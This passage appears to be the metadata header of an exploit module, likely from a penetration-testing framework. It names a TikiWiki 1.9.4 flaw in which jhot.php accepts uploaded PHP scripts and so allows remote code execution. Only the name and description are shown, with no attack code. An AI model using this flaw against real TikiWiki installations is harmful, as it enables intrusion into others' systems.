'Name' => 'TikiWiki jhot Remote Command Execution',
'Description' => %q{
TikiWiki contains a flaw that may allow a malicious user to execute
arbitrary PHP code. The issue is triggered due to the jhot.php script
not correctly verifying uploaded files. It is possible that the flaw
may allow arbitrary PHP code execution by uploading a malicious PHP
script resulting in a loss of integrity.
The vulnerability was reported in Tikiwiki version 1.9.4.
